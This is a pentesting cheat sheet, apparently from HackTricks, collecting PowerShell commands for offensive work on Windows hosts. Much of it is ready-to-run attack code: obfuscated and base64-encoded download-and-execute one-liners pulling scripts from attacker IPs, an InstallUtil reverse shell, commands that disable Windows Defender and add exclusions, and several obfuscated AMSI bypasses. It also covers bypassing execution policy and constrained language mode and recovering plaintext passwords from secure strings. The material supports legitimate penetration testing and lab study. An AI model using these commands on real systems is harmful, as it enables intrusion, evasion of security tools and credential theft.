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Network Services Pentesting
Basic PowerShell for Pentesters
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Default PowerShell locations

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basic PS commands to start

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Download & Execute

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
โ€‹
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
โ€‹
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Download & Execute in background with AMSI Bypass

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Using b64 from linux

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Download

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:
1ยบ Just copy and paste inside the interactive PS console
2ยบ Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3ยบ Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4ยบ Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5ยบ Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6ยบ Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7ยบ Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8ยบ Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9ยบ Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
More can be found hereโ€‹

Constrained language

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Bypass

#Easy bypass
Powershell -version 2
In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.

Direct bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
You can use ReflectivePick or SharpPick to execute Powershell code in any process and bypass the constrained mode. For more info check: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

AppLockerPolicy

Check which files/extensions are blacklisted/whitelisted.
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

Enable WinRM (Remote PS)

enable-psremoting -force #This enables winrm
โ€‹
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
โ€‹
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Disable Defender

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
Set-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
โ€‹
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
โ€‹
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
โ€‹
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

AMSI bypass

** amsi.dll** is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will are are to overwrite the instructions of that DLL in memory to make the detection useless.
AMSI bypass generator web page: https://amsi.fail/โ€‹
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
โ€‹
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
โ€‹
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
โ€‹
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
โ€‹
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
โ€‹
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
โ€‹
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
โ€‹
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
โ€‹
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
โ€‹
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Get permissions

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

OS version and HotFixes

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Environment

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Other connected drives

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Recycle Bin

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

Domain Recon

Users

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Secure String to Plaintext

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
โ€‹
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Or directly parsing form XML:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
โ€‹
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB

SUDO

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
โ€‹
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
โ€‹
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
โ€‹
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
โ€‹
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Groups

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Clipboard

Get-Clipboard

Processes

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Services

Get-Service

Password from secure string

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Scheduled Tasks

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Network

Interfaces

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Get-NetFirewallRule -Enabled True
โ€‹
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
โ€‹
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Route

route print

ARP

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Support HackTricks and get benefits!
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On this page
Default PowerShell locations
Basic PS commands to start
Download & Execute
Download & Execute in background with AMSI Bypass
Using b64 from linux
Download
System.Net.WebClient
Invoke-WebRequest
Wget
BitsTransfer
Base64 Kali & EncodedCommand
Execution Policy
Constrained language
Bypass
AppLockerPolicy
Enable WinRM (Remote PS)
Disable Defender
AMSI bypass
PS-History
Get permissions
OS version and HotFixes
Environment
Other connected drives
Recycle Bin
Domain Recon
Users
Secure String to Plaintext
SUDO
Groups
Clipboard
Processes
Services
Password from secure string
Scheduled Tasks
Network
Interfaces
Firewall
Route
ARP
Hosts
Ping
SNMP